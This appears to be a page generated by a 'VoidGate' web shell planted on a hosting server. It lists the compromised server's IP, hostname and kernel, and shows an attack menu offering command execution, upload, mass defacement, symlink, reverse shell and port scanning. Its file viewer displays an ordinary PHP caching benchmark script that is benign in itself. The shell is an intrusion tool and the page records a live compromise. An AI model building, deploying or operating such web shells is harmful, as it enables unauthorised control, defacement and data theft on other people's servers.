ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
php
/
tests
/
Cache_Lite
/
tests
/
Viewing: bench3.php
<?php // Bench script of Cache_Lite_Function // $Id$ require_once __DIR__ . '/../Cache/Lite/Function.php'; $options = array( 'caching' => true, 'cacheDir' => '/tmp/', 'lifeTime' => 10 ); $cache = new Cache_Lite_Function($options); $data = $cache->call('function_to_bench', 23, 66); echo($data); $object = new bench(); $object->test = 666; $data = $cache->call('object->method_to_bench', 23, 66); echo($data); $data = $cache->call('bench::static_method_to_bench', 23, 66); echo($data); function function_to_bench($arg1, $arg2) { for($i=0;$i<10000;$i++) { $tmp = md5(md5(md5('Loosing time...'))); } echo "This is the output of the function function_to_bench($arg1, $arg2) !<br>"; return "This is the result of the function function_to_bench($arg1, $arg2) !<br>"; } class bench { var $test; function method_to_bench($arg1, $arg2) { for($i=0;$i<10000;$i++) { $tmp = md5(md5(md5('Loosing time...'))); } echo "\$obj->test = $this->test and this is the output of the method \$obj->method_to_bench($arg1, $arg2) !<br>"; return "\$obj->test = $this->test and this is the result of the method \$obj->method_to_bench($arg1, $arg2) !<br>"; } function static_method_to_bench($arg1, $arg2) { for($i=0;$i<10000;$i++) { $tmp = md5(md5(md5('Loosing time...'))); } echo "This is the output of the function static_method_to_bench($arg1, $arg2) !<br>"; return "This is the result of the function static_method_to_bench($arg1, $arg2) !<br>"; } } ?>
Coded With 💗 by
0x6ick